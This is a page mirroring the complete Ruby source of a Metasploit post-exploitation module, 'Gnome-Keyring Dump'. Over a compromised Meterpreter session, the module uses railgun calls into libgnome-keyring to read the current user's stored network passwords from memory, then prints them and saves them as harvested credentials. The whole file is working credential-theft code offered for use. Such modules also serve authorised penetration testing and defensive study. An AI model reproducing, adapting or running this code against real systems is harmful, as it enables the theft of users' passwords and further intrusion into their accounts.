Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/gnome_keyring_dump.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'bindata'67class MetasploitModule < Msf::Post89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gnome-Keyring Dump',14'Description' => %q{15Use libgnome-keyring to extract network passwords for the current user.16This module does not require root privileges to run.17},18'Author' => 'Spencer McIntyre',19'License' => MSF_LICENSE,20'Platform' => [ 'linux' ],21'SessionTypes' => [ 'meterpreter' ],22'Compat' => {23'Meterpreter' => {24'Commands' => %w[25core_native_arch26stdapi_net_resolve_host27stdapi_railgun_api28stdapi_railgun_memread29]30}31}32)33)34end3536class GList_x64 < BinData::Record37endian :little38uint64 :data_ptr39uint64 :next_ptr40uint64 :prev_ptr41end4243class GList_x86 < BinData::Record44endian :little45uint32 :data_ptr46uint32 :next_ptr47uint32 :prev_ptr48end4950# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList51def struct_glist52session.native_arch == ARCH_X64 ? GList_x64 : GList_x8653end5455class GnomeKeyringNetworkPasswordData_x64 < BinData::Record56endian :little57uint64 :keyring58uint64 :item_id59uint64 :protocol60uint64 :server61uint64 :object62uint64 :authtype63uint64 :port64uint64 :user65uint64 :domain66uint64 :password67end6869class GnomeKeyringNetworkPasswordData_x86 < BinData::Record70endian :little71uint32 :keyring72uint32 :item_id73uint32 :protocol74uint32 :server75uint32 :object76uint32 :authtype77uint32 :port78uint32 :user79uint32 :domain80uint32 :password81end8283# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData84def struct_gnomekeyringnetworkpassworddata85session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x8686end8788def init_railgun_defs89unless session.railgun.libraries.key?('libgnome_keyring')90session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')91end92session.railgun.add_function(93'libgnome_keyring',94'gnome_keyring_is_available',95'BOOL',96[],97nil,98'cdecl'99)100session.railgun.add_function(101'libgnome_keyring',102'gnome_keyring_find_network_password_sync',103'DWORD',104[105['PCHAR', 'user', 'in'],106['PCHAR', 'domain', 'in'],107['PCHAR', 'server', 'in'],108['PCHAR', 'object', 'in'],109['PCHAR', 'protocol', 'in'],110['PCHAR', 'authtype', 'in'],111['DWORD', 'port', 'in'],112['PBLOB', 'results', 'out']113],114nil,115'cdecl'116)117session.railgun.add_function(118'libgnome_keyring',119'gnome_keyring_network_password_list_free',120'VOID',121[['LPVOID', 'list', 'in']],122nil,123'cdecl'124)125end126127def get_string(address, chunk_size = 64, max_size = 256)128data = ''129loop do130data << session.railgun.memread(address + data.length, chunk_size)131break if data.include?("\x00") || (data.length >= max_size)132end133134if data.include?("\x00")135idx = data.index("\x00")136data = data[0...idx]137end138139data[0...max_size]140end141142def get_struct(address, record)143record = record.new144record.read(session.railgun.memread(address, record.num_bytes))145Hash[record.field_names.map { |field| [field, record[field]] }]146end147148def get_list_entry(address)149glist_struct = get_struct(address, struct_glist)150glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)151glist_struct152end153154def report_cred(opts)155service_data = {156address: opts[:ip],157port: opts[:port],158service_name: opts[:service_name],159protocol: opts[:protocol],160workspace_id: myworkspace_id161}162163credential_data = {164post_reference_name: refname,165session_id: session_db_id,166origin_type: :session,167private_data: opts[:password],168private_type: :password,169username: opts[:username]170}.merge(service_data)171172login_data = {173core: create_credential(credential_data),174status: Metasploit::Model::Login::Status::UNTRIED175}.merge(service_data)176177create_credential_login(login_data)178end179180def resolve_host(name)181address = @hostname_cache[name]182return address unless address.nil?183184vprint_status("Resolving hostname: #{name}")185begin186address = session.net.resolve.resolve_host(name)[:ip]187rescue Rex::Post::Meterpreter::RequestError188end189@hostname_cache[name] = address190end191192def resolve_port(service)193port = {194'ftp' => 21,195'http' => 80,196'https' => 443,197'sftp' => 22,198'ssh' => 22,199'smb' => 445200}[service]201port.nil? ? 0 : port202end203204def run205init_railgun_defs206@hostname_cache = {}207libgnome_keyring = session.railgun.libgnome_keyring208209unless libgnome_keyring.gnome_keyring_is_available['return']210fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')211end212213result = libgnome_keyring.gnome_keyring_find_network_password_sync(214nil, # user215nil, # domain216nil, # server217nil, # object218nil, # protocol219nil, # authtype2200, # port221session.native_arch == ARCH_X64 ? 8 : 4222)223224list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]225fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0226227entry = { next_ptr: list_anchor }228loop do229entry = get_list_entry(entry[:next_ptr])230pw_data = entry[:data]231# resolve necessary string fields to non-empty strings or nil232%i[server user domain password protocol].each do |field|233value = pw_data[field]234pw_data[field] = nil235next if value == 0236237value = get_string(value)238next if value.empty?239240pw_data[field] = value241end242243# skip the entry if we don't at least have a username and password244next if pw_data[:user].nil? || pw_data[:password].nil?245246printable = ''247printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?248printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?249printable << "#{pw_data[:user]}:#{pw_data[:password]}"250unless pw_data[:server].nil?251printable << "@#{pw_data[:server]}"252printable << ":#{pw_data[:port]}"253end254print_good(printable)255256pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?257next if pw_data[:port] == 0 # can't report without a valid port258259ip_address = resolve_host(pw_data[:server])260next if ip_address.nil? # can't report without an ip address261262report_cred(263ip: ip_address,264port: pw_data[:port],265protocol: 'tcp',266service_name: pw_data[:protocol],267username: pw_data[:user],268password: pw_data[:password]269)270break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)271end272273libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)274end275end276277278